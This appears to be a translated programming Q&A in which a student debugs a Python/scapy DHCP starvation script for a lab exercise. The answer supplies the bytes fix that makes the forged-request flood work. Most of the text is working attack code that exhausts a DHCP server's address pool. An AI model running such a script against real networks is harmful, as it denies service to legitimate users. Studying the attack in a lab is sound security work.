问题描述
我正在使用Python 3.7.9。 我正在尝试通过改编此链接中的代码来使用scapy（对于点数）：
https://cabeggar.github.io/2016/02/21/DHCP-starvation-with-ScaPy/
import我收到此错误
from scapy.all import *
from time import sleep
from threading import Thread
class DHcpstarvation(object):
def __init__(self):
# Generated MAC stored to avoid same MAC requesting for different IP
self.mac = [""]
# Requested IP stored to identify registered IP
self.ip = []
def get_intfs(self):
winList = get_windows_if_list()
intfList = get_if_list()
# Pull guids and names from the windows list
guidToNameDict = { e["guid"]: e["name"] for e in winList}
# Extract the guids from the interface list
guidsFromIntfList = [(e.split("_"))[1] for e in intfList]
# Using the interface list of guids,pull the names from the
# Windows map of guids to names
namesAllowedList = [guidToNameDict.get(e) for e in guidsFromIntfList if guidToNameDict.get(e) != None]
return namesAllowedList
def choose_intf(self):
intfs=self.get_intfs()
a=len(intfs)+1
print('Starting with a:',a)
for i in intfs: print(intfs.index(i),i)
while a > len(intfs)-1:
a=int(input('Choose the interface from the list above:'))
print('Returned:',intfs[a])
return intfs[a]
def handle_dhcp(self,pkt):
if pkt[DHCP]:
# if DHCP server reply ACK,the IP address requested is registered
# 10.10.111.107 is IP for bt5,not to be starved
if pkt[DHCP].options[0][1]==5 and pkt[IP].dst != "10.10.111.107":
self.ip.append(pkt[IP].dst)
print(str(pkt[IP].dst)+" registered")
# Duplicate ACK may happen due to packet loss
elif pkt[DHCP].options[0][1]==6:
print("NAK received")
def listen(self):
# sniff DHCP packets
sniff(filter="udp and (port 67 or port 68)",prn=self.handle_dhcp,store=0)
def start(self):
# start packet listening thread
self.outgoing_intf = self.choose_intf()
thread = Thread(target=self.listen)
thread.start()
print("Starting DHCP starvation...")
# Keep starving until all 100 targets are registered
# 100~200 excepts 107 = 100
while len(self.ip) < 100: self.starve()
print("Targeted IP address starved")
def starve(self):
for i in range(10):
# generate IP we want to request
# if IP already registered,then skip
requested_addr = "10.38.65."+str(176+i)
print('Requesting',requested_addr)
if requested_addr in self.ip:
continue
# generate MAC,avoid duplication
src_mac = ""
while src_mac in self.mac:
src_mac = str(RandMAC('16'))
self.mac.append(src_mac)
# generate DHCP request packet
pkt = Ether(src=src_mac,dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="0.0.0.0",dst="255.255.255.255")
pkt /= UDP(sport=68,dport=67)
pkt /= BOOTP(chaddr=RandString(12,"0123456789abcdef"))
pkt /= DHCP(options=[("message-type","request"),("requested_addr",requested_addr),("server_id","10.38.65.201"),"end"])
sendp(pkt,iface=self.outgoing_intf)
print("Trying to occupy "+requested_addr)
sleep(0.2) # interval to avoid congestion and packet loss
if __name__ == "__main__":
starvation = DHcpstarvation()
starvation.start()
问题似乎在模块中很深，特别是在文件def _fix（self）函数中
“ C：\ Program Files \ python37 \ lib \ site-packages \ scapy-2.4.4rc2.dev30-py3.7.egg \ scapy \ volatile.py”
Traceback (most recent call last):
File ".\main.py",line 95,in <module>
starvation.start()
File ".\main.py",line 63,in start
while len(self.ip) < 100: self.starve()
File ".\main.py",line 88,in starve
sendp(pkt,iface=self.outgoing_intf)
File "C:\Program Files\python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\sendrecv.py",line 379,in sendp
realtime=realtime,return_packets=return_packets)
File "C:\Program Files\python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\sendrecv.py",line 299,in __gen_send
for p in x:
File "C:\Program Files\python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py",line 963,in loop
for x in loop(todo[:],done):
File "C:\Program Files\python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py",line 971,in loop
if self.fields == done and payloads.__iterlen__() == 1:
File "C:\Program Files\python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py",line 1026,in __iterlen__
return length * self.payload.__iterlen__()
File "C:\Program Files\python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py",line 1009,in __iterlen__
if hasattr(val,"__iterlen__"):
File "C:\Program Files\python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\volatile.py",line 104,in __getattr__
return getattr(self._fix(),attr)
File "C:\Program Files\python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\volatile.py",line 365,in _fix
s += rdm_chr if isinstance(rdm_chr,str) else chb(rdm_chr)
TypeError: can't concat str to bytes
问题似乎是由于 s 和 rdm_chr 是不同类型的事实引起的，但是我不认为可以在长期维护的模块中找到如此深的错误...
有人会提示吗？
谢谢
亚历克斯
解决方法
首先，我对此表示怀疑
BOOTP(chaddr=RandString(12,"0123456789abcdef"))
是正确的，因为chaddr是一个16字节的字段（而不是12），但是这里的问题是您给它提供了一个字符串（是的，这很直观，但这是python 3），而不是字节：
BOOTP(chaddr=RandString(16,b"0123456789abcdef"))